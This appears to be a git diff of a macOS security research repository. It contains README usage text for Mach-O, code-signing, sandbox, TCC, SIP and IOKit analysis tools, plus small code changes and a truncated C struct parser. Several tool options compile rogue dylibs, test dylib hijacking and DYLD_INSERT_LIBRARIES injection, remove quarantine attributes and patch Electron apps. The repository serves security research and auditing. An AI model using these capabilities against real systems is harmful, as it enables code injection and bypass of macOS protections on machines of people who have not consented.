||||
|
||||
DYLIBS ARGS:
|
||||
--dylibs Print shared libraries used by specified binary with compatibility and the current version
|
||||
(loading paths unresolved, like @rpath/example.dylib)
|
||||
--rpaths Print all paths (resolved) that @rpath can be resolved to
|
||||
--rpaths_u Print all paths (unresolved) that @rpath can be resolved to
|
||||
--dylibs_paths Print absolute dylib loading paths (resolved @rpath|@executable_path|@loader_path) in order
|
||||
they are searched for
|
||||
--dylibs_paths_u Print unresolved dylib loading paths.
|
||||
--broken_relative_paths
|
||||
Print 'broken' relative paths from the binary (cases where the dylib source is specified
|
||||
for an executable directory without @executable_path)
|
||||
--dylibtree [cache_path,output_path,is_extracted]
|
||||
Print the dynamic dependencies of a Mach-O binary recursively. You can specify the Dyld
|
||||
Shared Cache path in the first argument, the output directory as the 2nd argument, and if
|
||||
you have already extracted DSC in the 3rd argument (0 or 1). The output_path will be used
|
||||
as a base for dylibtree. For example, to not extract DSC, use: --dylibs ",,1", or to
|
||||
extract from default to default use just --dylibs or --dylibs ",,0" which will extract DSC
|
||||
to extracted_dyld_share_cache/ in the current directory
|
||||
--dylib_id Print path from LC_ID_DYLIB
|
||||
--reexport_paths Print paths from LC_REEXPORT_DLIB
|
||||
--hijack_sec Check if binary is protected against Dylib Hijacking
|
||||
--dylib_hijacking [(optional) cache_path]
|
||||
Check for possible Direct and Indirect Dylib Hijacking loading paths. The output is printed
|
||||
to console and saved in JSON format to /tmp/dylib_hijacking_log.json(append mode).
|
||||
Optionally, specify the path to the Dyld Shared Cache
|
||||
--dylib_hijacking_a [cache_path]
|
||||
Like --dylib_hijacking, but shows only possible vectors (without protected binaries)
|
||||
--prepare_dylib [(optional) target_dylib_name]
|
||||
Compile rogue dylib. Optionally, specify target_dylib_path, it will search for the imported
|
||||
symbols from it in the dylib specified in the --path argument and automatically add it to
|
||||
the source code of the rogue lib. Example: --path lib1.dylib --prepare_dylib
|
||||
/path/to/lib2.dylib
|
||||
|
||||
DYLD ARGS:
|
||||
--is_built_for_sim Check if binary is built for simulator platform.
|
||||
--get_dyld_env Extract Dyld environment variables from the loader binary.
|
||||
--compiled_with_dyld_env
|
||||
Check if binary was compiled with -dyld_env flag and print the environment variables and
|
||||
its values.
|
||||
--has_interposing Check if binary has interposing sections.
|
||||
--interposing_symbols
|
||||
Print interposing symbols if any.
|
||||
|
||||
AMFI ARGS:
|
||||
--has_suid Check if the file has SetUID bit set
|
||||
--has_sgid Check if the file has SetGID bit set
|
||||
--has_sticky Check if the file has sticky bit set
|
||||
--injectable_dyld Check if the binary is injectable using DYLD_INSERT_LIBRARIES
|
||||
--test_insert_dylib Check if it is possible to inject dylib using DYLD_INSERT_LIBRARIES (INVASIVE - the binary
|
||||
is executed)
|
||||
--test_prune_dyld Check if Dyld Environment Variables are cleared (using DYLD_PRINT_INITIALIZERS=1) (INVASIVE
|
||||
- the binary is executed)
|
||||
--test_dyld_print_to_file
|
||||
Check if DYLD_PRINT_TO_FILE Dyld Environment Variables works (INVASIVE - the binary is
|
||||
executed)
|
||||
--test_dyld_SLC Check if DYLD_SHARED_REGION=private Dyld Environment Variables works and code can be
|
||||
injected using DYLD_SHARED_CACHE_DIR (INVASIVE - the binary is executed)
|
||||
|
||||
ANTIVIRUS ARGS:
|
||||
--xattr Print all extended attributes names
|
||||
--xattr_value xattr_name
|
||||
Print single extended attribute value
|
||||
--xattr_all Print all extended attributes names and their values
|
||||
--has_quarantine Check if the file has quarantine extended attribute
|
||||
--remove_quarantine Remove com.apple.quarantine extended attribute from the file
|
||||
--add_quarantine Add com.apple.quarantine extended attribute to the file
|
||||
|
||||
SANDBOX ARGS:
|
||||
--sandbox_container_path
|
||||
Print the sandbox container path
|
||||
--sandbox_container_metadata
|
||||
Print the .com.apple.containermanagerd.metadata.plist contents for the given bundlein XML
|
||||
format
|
||||
--sandbox_redirectable_paths
|
||||
Print the redirectable paths from the sandbox container metadata as list
|
||||
--sandbox_parameters Print the parameters from the sandbox container metadata as key-value pairs
|
||||
--sandbox_entitlements
|
||||
Print the entitlements from the sandbox container metadata in JSON format
|
||||
--sandbox_build_uuid Print the sandbox build UUID from the sandbox container metadata
|
||||
--sandbox_redirected_paths
|
||||
Print the redirected paths from the sandbox container metadata as list
|
||||
--sandbox_system_images
|
||||
Print the system images from the sandbox container metadata as key-value pairs
|
||||
--sandbox_system_profiles
|
||||
Print the system profile from the sandbox container metadata in JSON format
|
||||
--sandbox_content_protection
|
||||
Print the content protection from the sandbox container metadata
|
||||
--sandbox_profile_data
|
||||
Print raw bytes ofthe sandbox profile data from the sandbox container metadata
|
||||
--extract_sandbox_operations
|
||||
Extract sandbox operations from the Sandbox.kext file
|
||||
--extract_sandbox_platform_profile
|
||||
Extract sandbox platform profile from the Sandbox.kext file
|
||||
|
||||
TCC ARGS:
|
||||
--tcc Print TCC permissions of the binary
|
||||
--tcc_fda Check Full Disk Access (FDA) TCC permission for the binary
|
||||
--tcc_automation Check Automation TCC permission for the binary
|
||||
--tcc_sysadmin Check System Policy SysAdmin Files TCC permission for the binary
|
||||
--tcc_desktop Check Desktop Folder TCC permission for the binary
|
||||
--tcc_documents Check Documents Folder TCC permission for the binary
|
||||
--tcc_downloads Check Downloads Folder TCC permission for the binary
|
||||
--tcc_photos Check Photos Library TCC permission for the binary
|
||||
--tcc_contacts Check Contacts TCC permission for the binary
|
||||
--tcc_calendar Check Calendar TCC permission for the binary
|
||||
--tcc_camera Check Camera TCC permission for the binary
|
||||
--tcc_microphone Check Microphone TCC permission for the binary
|
||||
--tcc_location Check Location Services TCC permission for the binary
|
||||
--tcc_recording Check Screen Recording TCC permission for the binary
|
||||
--tcc_accessibility Check Accessibility TCC permission for the binary
|
||||
--tcc_icloud Check iCloud (Ubiquity) TCC permission for the binary
|
||||
|
||||
XNU ARGS:
|
||||
--parse_mpo mpo_addr Parse mac_policy_ops at given address from Kernel Cache and print pointers in use (not
|
||||
zeroed)
|
||||
--dump_prelink_info [(optional) out_name]
|
||||
Dump "__PRELINK_INFO,__info" to a given file (default: "PRELINK_info.txt")
|
||||
--dump_prelink_text [(optional) out_name]
|
||||
Dump "__PRELINK_TEXT,__text" to a given file (default: "PRELINK_text.txt")
|
||||
--dump_prelink_kext [kext_name]
|
||||
Dump prelinked KEXT {kext_name} from decompressed Kernel Cache PRELINK_TEXT segment to a
|
||||
file named: prelinked_{kext_name}.bin
|
||||
--kext_prelinkinfo [kext_name]
|
||||
Print _Prelink properties from PRELINK_INFO,__info for a give {kext_name}
|
||||
--kmod_info kext_name
|
||||
Parse kmod_info structure for the given {kext_name} from Kernel Cache
|
||||
--kext_entry kext_name
|
||||
Calculate the virtual memory address of the __start (entrypoint) for the given {kext_name}
|
||||
Kernel Extension
|
||||
--kext_exit kext_name
|
||||
Calculate the virtual memory address of the __stop (exitpoint) for the given {kext_name}
|
||||
Kernel Extension
|
||||
--mig Search for MIG subsystem and prints message handlers
|
||||
--dump_kext kext_name
|
||||
Dump the kernel extension binary from the kernelcache.decompressed file
|
||||
```
|
||||
* Example:
|
||||
```bash
|
||||
CrimsonUroboros.py -p PATH --info
|
||||
```
|
||||
***
|
||||
### [MachOFileFinder](I.%20Mach-O/python/MachOFileFinder.py)
|
||||
Designed to find ARM64 Mach-O binaries within a specified directory and print their file type.
|
||||
* Usage:
|
||||
```bash
|
||||
python MachOFileFinder.py PATH
|
||||
```
|
||||
* Example:
|
||||
```bash
|
||||
python MachOFileFinder.py . -r 2>/dev/null
|
||||
EXECUTE:/Users/karmaz95/t/pingsender
|
||||
DYLIB:/Users/karmaz95/t/dylibs/use_dylib_app/customs/custom.dylib
|
||||
BUNDLE:/Users/karmaz95/t/bundles/MyBundle
|
||||
```
|
||||
***
|
||||
### [TrustCacheParser](II.%20Code%20Signing/python/TrustCacheParser.py)
|
||||
Designed to parse trust caches and print it in human readable form (based on [PyIMG4](https://github.com/m1stadev/PyIMG4) and [trustcache](https://github.com/CRKatri/trustcache))
|
||||
* Usage:
|
||||
```console
|
||||
usage: TrustCacheParser [-h] [--dst DST] [--parse_img] [--parse_tc] [--print_tc] [--all]
|
||||
|
||||
Copy Trust Cache files to a specified destination.
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
--dst DST, -d DST Destination directory to copy Trust Cache files to.
|
||||
--parse_img Parse copied Image4 to extract payload data.
|
||||
--parse_tc Parse extract payload data to human-readable form trust cache using
|
||||
trustcache.
|
||||
--print_tc Print the contents of trust_cache (files must be in the current
|
||||
directory and ends with .trust_cache)
|
||||
--all parse_img -> parse_tc -> print_tc
|
||||
```
|
||||
***
|
||||
### [SignatureReader](II.%20Code%20Signing/python/SignatureReader.py)
|
||||
Designed to parse extracted cms sginature from Mach-O files.
|
||||
* Usage:
|
||||
```bash
|
||||
# First extract CMS Signature using CrimsonUroboros
|
||||
CrimsonUroboros -p target_binary --extract_cms cms_sign
|
||||
# or using extract_cms.sh script
|
||||
./extract_cms.sh target_binary cms_sign
|
||||
```
|
||||
|
||||
```console
|
||||
usage: SignatureReader [-h] [--load_cms cms_signature.der]
|
||||
[--extract_signature cms_signature.der]
|
||||
[--extract_pubkey cert_0] [--human]
|
||||
|
||||
CMS Signature Loader
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
--load_cms cms_signature.der
|
||||
Load the DER encoded CMS Signature from the filesystem
|
||||
and print it
|
||||
--extract_signature cms_signature.der
|
||||
Extract and print the signature part from the DER
|
||||
encoded CMS Signature
|
||||
--extract_pubkey cert_0
|
||||
Extract public key from the given certificate and save
|
||||
it to extracted_pubkey.pem
|
||||
--human Print in human-readable format
|
||||
❯ CrimsonUroboros -p signed_ad_hoc_example --extract_cms cms_sign
|
||||
```
|
||||
* Example:
|
||||
```bash
|
||||
SignatureReader --extract_signature cms_sign --human
|
||||
0x25ca80ad5f11be197dc7a2d53f3db5b6bf463a38224db8c0a17fa4b8fd5ad7e0c60f2be8e8849cf2e581272290991c0db40b0d452b2d2dbf230c0ccab3a6d78e0230bca7bccbc50d379372bcddd8d8542add5ec59180bc3409b2df3bd8995301b9ba1e65ac62420c75104f12cb58b430fde8a177a1cd03940d4b0e77a9d875d65552cf96f03cb63b437c36d9bab12fa727e17603da49fcb870edaec115f90def1ac2ad12c2e9349a5470b5ed2f242b5566cd7ddee785eff8ae5484f145a8464d4dc3891b10a3b2981e9add1e4c0aec31fa80320eb5494d9623400753adf24106efdd07ad657035ed2876e9460219944a4730b0b620954961350ddb1fcf0ea539
|
||||
```
|
||||
***
|
||||
### [extract_cms.sh](II.%20Code%20Signing/custom/extract_cms.sh)
|
||||
Designed to extract cms sginature from Mach-O files (bash alternative to `SingatureReader --extract_signature`).
|
||||
* Example:
|
||||
```
|
||||
./extract_cms.sh target_binary cms_sign
|
||||
```
|
||||
***
|
||||
### [ModifyMachOFlags](III.%20Checksec/python/ModifyMachOFlags.py)
|
||||
Designed to change Mach-O header flags.
|
||||
* Usage:
|
||||
```console
|
||||
usage: ModifyMachOFlags [-h] -i INPUT -o OUT [--flag FLAG] [--sign_binary [adhoc|identity_number]]
|
||||
|
||||
Modify the Mach-O binary flags.
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-i INPUT, --input INPUT
|
||||
Path to the Mach-O file.
|
||||
-o OUT, --out OUT Where to save a modified file.
|
||||
--flag FLAG Specify the flag constant name and value (e.g., NO_HEAP_EXECUTION=1). Can be used multiple times. Available
|
||||
flags: NOUNDEFS, INCRLINK, DYLDLINK, BINDATLOAD, PREBOUND, SPLIT_SEGS, LAZY_INIT, TWOLEVEL, FORCE_FLAT,
|
||||
NOMULTIDEFS, NOFIXPREBINDING, PREBINDABLE, ALLMODSBOUND, SUBSECTIONS_VIA_SYMBOLS, CANONICAL, WEAK_DEFINES,
|
||||
BINDS_TO_WEAK, ALLOW_STACK_EXECUTION, ROOT_SAFE, SETUID_SAFE, NO_REEXPORTED_DYLIBS, PIE,
|
||||
DEAD_STRIPPABLE_DYLIB, HAS_TLV_DESCRIPTORS, NO_HEAP_EXECUTION, APP_EXTENSION_SAFE,
|
||||
NLIST_OUTOFSYNC_WITH_DYLDINFO, SIM_SUPPORT, DYLIB_IN_CACHE
|
||||
--sign_binary [adhoc|identity_number]
|
||||
Sign binary using specified identity - use : 'security find-identity -v -p codesigning' to get the
|
||||
identity. (default: adhoc)
|
||||
```
|
||||
* Example:
|
||||
```bash
|
||||
ModifyMachOFlags -i hello -o hello_modified --flag NO_HEAP_EXECUTION=1 --sign_binary
|
||||
```
|
||||
***
|
||||
### [LCFinder](III.%20Checksec/python/LCFinder.py)
|
||||
Designed to find if specified Load Command exist in the binary or list of binaries.
|
||||
* Usage:
|
||||
```console
|
||||
usage: LCFinder [-h] [--path PATH] [--list_path LIST_PATH] --lc LC
|
||||
|
||||
Check for a specific load command in Mach-O binaries.
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
--path PATH, -p PATH Absolute path to the valid MachO binary.
|
||||
--list_path LIST_PATH, -l LIST_PATH
|
||||
Path to a wordlist file containing absolute paths.
|
||||
--lc LC The load command to check for.
|
||||
```
|
||||
* Example:
|
||||
```bash
|
||||
LCFinder -l macho_paths.txt --lc SEGMENT_64 2>/dev/null
|
||||
LCFinder -p hello --lc lc_segment_64 2>/dev/null
|
||||
```
|
||||
***
|
||||
### [MachODylibLoadCommandsFinder](IV.%20Dylibs/python/MachODylibLoadCommandsFinder.py)
|
||||
Designed to Recursively crawl the system and parse Mach-O files to find DYLIB related load commands.
|
||||
Print the total Mach-O files analyzed and how many DYLIB-related LCs existed
|
||||
* Usage:
|
||||
```console
|
||||
MachODylibLoadCommandsFinder 2>/dev/null
|
||||
```
|
||||
***
|
||||
### [check_amfi](VI.%20AMFI/python/check_amfi.py)
|
||||
Simple script for calculating `amfiFlags` (described [here](https://karol-mazurek.medium.com/dyld-do-you-like-death-vi-1013a69118ff) in `ProcessConfig — AMFI properties`)
|
||||
* Usage:
|
||||
```console
|
||||
python3 check_amfi.py 0x1df
|
||||
```
|
||||
***
|
||||
### [make_bundle](App%20Bundle%20Extension/custom/make_bundle.sh)
|
||||
Build a codeless bundle with a red icon.
|
||||
* Usage:
|
||||
```console
|
||||
./make_bundle.sh
|
||||
```
|
||||
***
|
||||
### [make_bundle_exe](App%20Bundle%20Extension/custom/make_bundle_exe.sh)
|
||||
Bash template for building a PoC app bundle with Mach-O binary that utilizes Framework:
|
||||
* Usage:
|
||||
```console
|
||||
./make_bundle_exe.sh
|
||||
```
|
||||
***
|
||||
### [make_dmg](App%20Bundle%20Extension/custom/make_dmg.sh)
|
||||
Script for packing the app in a compressed DMG container:
|
||||
* Usage (change names in the script):
|
||||
```console
|
||||
./make_dmg.sh
|
||||
```
|
||||
### [electron_patcher](App%20Bundle%20Extension/custom/electron_patcher.py)
|
||||
Python script for extracting ASAR files from Electron apps and patching them with a custom ASAR file.
|
||||
```
|
||||
python3 electron_patcher.py extract app_bundle.app extracted_asar
|
||||
python3 electron_patcher.py pack extracted_asar app_bundle.app
|
||||
```
|
||||
### [sandbox_validator](VIII.%20Sandbox/custom/sandbox_validator.c)
|
||||
It can be used to quickly check if a given process is allowed to perform a particular operation while it is sandboxed.
|
||||
```bash
|
||||
# Compile
|
||||
clang -o sandbox_validator sandbox_validator.c
|
||||
|
||||
# Usage: sandbox_validator PID "OPERATION" "FILTER_NAME" "FILTER_VALUE"
|
||||
sandbox_validator 93298
|
||||
sandbox_validator 93298 "file-read*"
|
||||
sandbox_validator 93298 "file-read*" PATH "/users/karmaz/.trash"
|
||||
sandbox_validator 93298 "authorization-right-obtain" RIGHT_NAME "system.burn"
|
||||
```
|
||||
### [sandblaster](https://github.com/Karmaz95/sandblaster)
|
||||
This is my forked version of [sandblaster](https://github.com/cellebrite-labs/sandblaster) with MacOS Support:
|
||||
```bash
|
||||
python3 reverse_sandbox.py -o sonoma_sandbox_operations.txt profile_sb -r 17
|
||||
```
|
||||
### [sip_check](VIII.%20Sandbox/custom/sip_check.py)
|
||||
A simple program to check if SIP is enabled in the system with more details.
|
||||
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
```bash
|
||||
python3 sip_check.py
|
||||
SIP Configuration Flags:
|
||||
CSR_ALLOW_UNTRUSTED_KEXTS: Off
|
||||
CSR_ALLOW_UNRESTRICTED_FS: Off
|
||||
CSR_ALLOW_TASK_FOR_PID: Off
|
||||
CSR_ALLOW_KERNEL_DEBUGGER: Off
|
||||
CSR_ALLOW_APPLE_INTERNAL: Off
|
||||
CSR_ALLOW_UNRESTRICTED_DTRACE: Off
|
||||
CSR_ALLOW_UNRESTRICTED_NVRAM: Off
|
||||
CSR_ALLOW_DEVICE_CONFIGURATION: Off
|
||||
CSR_ALLOW_ANY_RECOVERY_OS: Off
|
||||
CSR_ALLOW_UNAPPROVED_KEXTS: Off
|
||||
CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE: Off
|
||||
CSR_ALLOW_UNAUTHENTICATED_ROOT: Off
|
||||
```
|
||||
### [crimson_waccess.py](VIII.%20Sandbox/python/crimson_waccess.py)
|
||||
It can be use for checking the possibility of file modification and creation in a given directory.
|
||||
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
```bash
|
||||
python3 crimson_waccess.py -f sip_protected_paths.txt
|
||||
```
|
||||
### [sip_tester](VIII.%20Sandbox/python/sip_tester)
|
||||
It can be used to check if a given path, process or service is SIP-protected and also to check missing paths from `rootless.conf`.
|
||||
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
```bash
|
||||
sip_tester --path /bin
|
||||
sip_tester --pid 1234
|
||||
sip_tester --service com.apple.kernelmanager_helper
|
||||
sip_tester --missing_paths
|
||||
```
|
||||
### [UUIDFinder](IX.%20TCC/python/UUIDFinder.py)
|
||||
A tool for creating a centralized UUID database for macOS. It is used to find UUIDs of files and directories.
|
||||
It was introduced in the article [Apple UUID Finder](https://karol-mazurek.medium.com/apple-uuid-finder-a5173bdd1a8a?sk=v2%2F04bb0d32-6dc9-437d-bf72-8f65e03fed90)
|
||||
```bash
|
||||
usage: UUIDFinder [-h] [--path PATH | --list LIST] [--uuid UUID] [--delete] [--resolve] [--show_db] [--db_location DB_LOCATION]
|
||||
|
||||
UUIDFinder - A tool for managing Mach-O executable UUIDs
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
--path, -p PATH Path to the executable
|
||||
--list, -l LIST Path to a file containing a list of executables
|
||||
--uuid, -u UUID UUID to lookup or add
|
||||
--delete, -d Delete the path record from database
|
||||
--resolve, -r Get UUIDs for the path and add to database
|
||||
--show_db, -s Show all records in the database
|
||||
--db_location DB_LOCATION
|
||||
Location of the UUID database file
|
||||
|
||||
Examples:
|
||||
---------
|
||||
|
||||
1. Display UUIDs for a single executable from database:
|
||||
--path /path/to/executable
|
||||
-p /path/to/executable
|
||||
|
||||
2. Find path for a specific UUID in database:
|
||||
--uuid 123e4567-e89b-12d3-a456-426614174000
|
||||
-u 123e4567-e89b-12d3-a456-426614174000
|
||||
|
||||
3. Add or update UUID for a path:
|
||||
--path /path/to/executable --uuid 123e4567-e89b-12d3-a456-426614174000
|
||||
-p /path/to/executable -u 123e4567-e89b-12d3-a456-426614174000
|
||||
|
||||
4. Extract and add UUIDs from executable to database:
|
||||
--path /path/to/executable --resolve
|
||||
-p /path/to/executable -r
|
||||
|
||||
5. Delete path and its UUIDs from database:
|
||||
--path /path/to/executable --delete
|
||||
-p /path/to/executable -d
|
||||
|
||||
6. Process multiple executables from a list file:
|
||||
--list /path/to/list.txt --resolve
|
||||
-l /path/to/list.txt -r
|
||||
|
||||
7. Show all records in the database:
|
||||
--show_db
|
||||
-s
|
||||
|
||||
8. Use custom database location:
|
||||
--path /path/to/executable --db_location /custom/path/db.json
|
||||
-p /path/to/executable --db_location /custom/path/db.json
|
||||
|
||||
Notes:
|
||||
------
|
||||
- All UUIDs are stored in lowercase in the database
|
||||
- The default database file is 'uuid_database.json' in the current directory
|
||||
- When using --list, each path should be on a new line in the list file
|
||||
- The tool automatically converts relative paths to absolute paths
|
||||
```
|
||||
### [TCCParser](IX.%20TCC/python/TCCParser.py)
|
||||
A tool for querying macOS TCC (Transparency, Consent, and Control) databases.
|
||||
It was introduced in the article [](todo)
|
||||
```bash
|
||||
usage: TCCParser [-h] [-p PATH] [-t] [-a] [-l]
|
||||
|
||||
Parse TCC Database for Permissions Information
|
||||
|
||||
options:
|
||||
-h, --help Show this help message and exit
|
||||
-p PATH, --path PATH Path to TCC.db file to analyze
|
||||
-t, --table Output results in table format
|
||||
-a, --all Automatically query all available TCC databases on the system
|
||||
-l, --list_db List all available TCC databases on the system
|
||||
|
||||
Examples:
|
||||
---------
|
||||
|
||||
1. List all available TCC databases on the system:
|
||||
--list_db
|
||||
-l
|
||||
|
||||
2. Query a specific TCC database:
|
||||
--path /path/to/TCC.db
|
||||
-p /path/to/TCC.db
|
||||
|
||||
3. Display the query results in a formatted table:
|
||||
--path /path/to/TCC.db --table
|
||||
-p /path/to/TCC.db -t
|
||||
|
||||
4. Automatically query all known TCC databases:
|
||||
--all
|
||||
-a
|
||||
|
||||
Notes:
|
||||
------
|
||||
- The tool retrieves details such as client, service, and authorization status for each entry in the TCC database.
|
||||
- The `--list_db` option helps users locate all known TCC databases on the system, sourced from `REG.db`.
|
||||
```
|
||||
|
||||
### [IOVerify](X.%20NU/custom/drivers/IOVerify.c)
|
||||
This tool allows for direct interaction with macOS IOKit drivers using IOConnectCallMethod. It was introduced in the article I made for PHRACK - [Mapping IOKit Methods Exposed to User Space on macOS](https://phrack.org/issues/72/9_md#article).
|
||||
```bash
|
||||
❯ ./IOVerify -h
|
||||
Usage: ./IOVerify -n <name> (-m <method> | -y <spec>) [options]
|
||||
Options:
|
||||
-n <name> Target driver class name (required).
|
||||
-t <type> Connection type (default: 0).
|
||||
-m <id> Method selector ID.
|
||||
-y <spec> Specify method and buffer sizes in one string.
|
||||
Format: "ID: [IN_SCA, IN_STR, OUT_SCA, OUT_STR]"
|
||||
Example: -y "0: [0, 96, 0, 96]"
|
||||
-p <string> Payload as a string.
|
||||
-f <file> File path for payload.
|
||||
-b <hex_str> Space-separated hex string payload.
|
||||
-i <size> Input buffer size (ignored if -y is used).
|
||||
-o <size> Output buffer size (ignored if -y is used).
|
||||
-s <value> Scalar input (uint64_t). Can be specified multiple times.
|
||||
-S <count> Scalar output count (ignored if -y is used).
|
||||
-h Show this help message.
|
||||
|
||||
|
||||
❯ ./IOVerify -n "H11ANEIn" -t 1 -y "0: [0,1,0,1]"
|
||||
Starting verification for driver: H11ANEIn
|
||||
|
||||
--- [VERIFY] Event Log ---
|
||||
Driver: H11ANEIn
|
||||
Connection Type: 1
|
||||
Method Selector: 0
|
||||
Result: 0xe00002c2 ((iokit/common) invalid argument)
|
||||
|
||||
--- Scalar I/O ---
|
||||
Scalar In Cnt: 0
|
||||
Scalar Out Cnt: 0
|
||||
|
||||
--- Structure I/O ---
|
||||
Input Size: 1 bytes
|
||||
Input Data:
|
||||
00
|
||||
|
||||
Output Size: 1 bytes
|
||||
Output Data:
|
||||
00
|
||||
--- End of Log ---
|
||||
```
|
||||
### [r2_dd](I.%20Mach-O/python/r2_dd.py)
|
||||
A wrapper script that uses radare2 to dump binary data from Mach-O files between specified virtual addresses. It automatically maps virtual addresses to file offsets.
|
||||
* Usage:
|
||||
```bash
|
||||
python3 r2_dd.py BINARY_PATH START_ADDR END_ADDR OUT_FILE
|
||||
```
|
||||
|
||||
* Example:
|
||||
```bash
|
||||
python3 r2_dd.py ./kernelcache 0xFFFFFF80002A0000 0xFFFFFF80002A0500 ./dump.bin
|
||||
```
|
||||
|
||||
* Note: Requires `radare2` to be installed:
|
||||
```bash
|
||||
brew install radare2
|
||||
```
|
||||
|
||||
### [find_symbol](I.%20Mach-O/python/find_symbol.py)
|
||||
A python wrapper for searching symbols in binary files using `nm`. Recursively walks through directories to find symbol definitions and references across executables and libraries.
|
||||
```txt
|
||||
usage: find_symbol.py PATH SYMBOL
|
||||
|
||||
Search for symbols in binary files within a directory
|
||||
|
||||
Arguments:
|
||||
PATH Directory to search recursively
|
||||
SYMBOL Symbol name to search for
|
||||
|
||||
Examples:
|
||||
---------
|
||||
|
||||
1. Find _sandbox_check function across extracted libraries from Dyld Shared Cache:
|
||||
find_symbol.py . _sandbox_check
|
||||
|
||||
2. Search for a specific symbol in system libraries:
|
||||
find_symbol.py /usr/lib _malloc
|
||||
|
||||
3. Locate symbol references in a framework:
|
||||
find_symbol.py /System/Library/Frameworks/Security.framework SecItemAdd
|
||||
|
||||
Sample Output:
|
||||
--------------
|
||||
./usr/lib/libspindump.dylib
|
||||
U _sandbox_check
|
||||
----
|
||||
./usr/lib/dyld
|
||||
0000000180141a6c T _sandbox_check
|
||||
0000000180141b4c t _sandbox_check_common
|
||||
----
|
||||
./usr/lib/libnetworkextension.dylib
|
||||
U _sandbox_check
|
||||
----
|
||||
|
||||
Notes:
|
||||
------
|
||||
- The tool uses `nm` to extract symbol information from binary files
|
||||
- Symbol types: T (text/code), U (undefined/external reference), t (local text)
|
||||
- Can be imported as a module: `from find_symbol import find_symbol`
|
||||
- Skips files that `nm` cannot process (non-binary files are silently ignored)
|
||||
```
|
||||
@@ -1,6 +1,7 @@
|
||||
_hook_iokit_check_get_property
|
||||
_hook_iokit_check_filter_properties
|
||||
_hook_vnode_notify_link
|
||||
_hook_proc_check_proc_info
|
||||
_hook_kext_check_unload
|
||||
_hook_kext_check_load
|
||||
_hook_pty_notify_close
|
||||
@@ -96,6 +97,7 @@ _hook_socket_check_create
|
||||
_hook_socket_check_connect
|
||||
_hook_socket_check_bind
|
||||
_hook_proc_check_signal
|
||||
_hook_proc_check_iopolicy
|
||||
_hook_proc_check_setauid
|
||||
_hook_proc_check_setaudit
|
||||
_hook_proc_check_sched
|
||||
@@ -138,13 +140,17 @@ _hook_mount_check_mount
|
||||
_hook_mount_check_fsctl
|
||||
_hook_mount_check_quotactl
|
||||
_hook_vnode_check_copyfile
|
||||
_hook_vnode_check_swap
|
||||
_hook_vnode_notify_unlink
|
||||
_hook_vnode_notify_swap
|
||||
_hook_proc_check_set_task_special_port
|
||||
_hook_proc_check_get_task_special_port
|
||||
_hook_vnode_notify_setflags
|
||||
_hook_vnode_notify_setextattr
|
||||
_hook_necp_check_client_action
|
||||
_hook_necp_check_open
|
||||
_hook_proc_check_set_thread_exception_port
|
||||
_hook_proc_check_set_task_exception_port
|
||||
_hook_file_check_set
|
||||
_hook_file_check_mmap
|
||||
_hook_file_check_lock
|
||||
@@ -155,4 +161,4 @@ _hook_cred_label_associate
|
||||
_hook_cred_check_label_update
|
||||
_hook_vnode_check_exec
|
||||
_hook_cred_check_label_update_execve
|
||||
_hook_cred_label_update_execve
|
||||
_hook_cred_label_update_execve
|
||||
|
||||
2
VIII. Sandbox/python/crimson_waccess.py
Normal file → Executable file
2
VIII. Sandbox/python/crimson_waccess.py
Normal file → Executable file
@@ -20,7 +20,7 @@ class Waccess:
|
||||
elif os.path.isfile(path):
|
||||
self.check_file_write_permission(path, output_path)
|
||||
else:
|
||||
sys.stderr.write(f"Path {path} does not exist.")
|
||||
sys.stderr.write(f"Path {path} does not exist.\n")
|
||||
|
||||
def check_directory_write_permission(self, directory_path, output_path):
|
||||
'''Check if a directory is writable by attempting to create a test file.'''
|
||||
|
||||
151
X. NU/custom/CommPageParser.c
Normal file
151
X. NU/custom/CommPageParser.c
Normal file
@@ -0,0 +1,151 @@
|
||||
// clang CommPageParser.c -o CommPageParser -arch arm64
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define COMM_PAGE_BASE 0xfffffc000ULL
|
||||
|
||||
typedef struct {
|
||||
uint64_t TimeStamp_tick;
|
||||
uint64_t TimeStamp_sec;
|
||||
uint64_t TimeStamp_frac;
|
||||
uint64_t Ticks_scale;
|
||||
uint64_t Ticks_per_sec;
|
||||
} new_commpage_timeofday_data_t;
|
||||
|
||||
typedef struct {
|
||||
uint64_t nt_tsc_base;
|
||||
uint32_t nt_scale;
|
||||
uint32_t nt_shift;
|
||||
uint64_t nt_ns_base;
|
||||
uint32_t nt_generation;
|
||||
uint32_t gtod_generation;
|
||||
uint64_t gtod_ns_base;
|
||||
uint64_t gtod_sec_base;
|
||||
} time_data_t;
|
||||
|
||||
typedef struct {
|
||||
uint8_t signature[16];
|
||||
uint64_t cpu_capabilities64;
|
||||
uint8_t unused[6];
|
||||
uint16_t version;
|
||||
uint32_t cpu_capabilities;
|
||||
uint8_t ncpus;
|
||||
uint8_t user_page_shift_32;
|
||||
uint8_t user_page_shift_64;
|
||||
uint16_t cache_linesize;
|
||||
uint32_t unused4;
|
||||
uint32_t unused3;
|
||||
uint32_t memory_pressure;
|
||||
uint8_t active_cpus;
|
||||
uint8_t physical_cpus;
|
||||
uint8_t logical_cpus;
|
||||
uint8_t kernel_page_shift;
|
||||
uint64_t memory_size;
|
||||
uint32_t cpufamily;
|
||||
uint32_t dev_firm;
|
||||
uint64_t timebase_offset;
|
||||
uint8_t user_timebase;
|
||||
uint8_t cont_hwclock;
|
||||
uint8_t dtrace_dof_enabled;
|
||||
uint8_t unused0[5];
|
||||
time_data_t time_data;
|
||||
struct {
|
||||
uint64_t time;
|
||||
uint64_t time_supported;
|
||||
uint8_t _fill[48];
|
||||
} approx;
|
||||
uint64_t cont_timebase;
|
||||
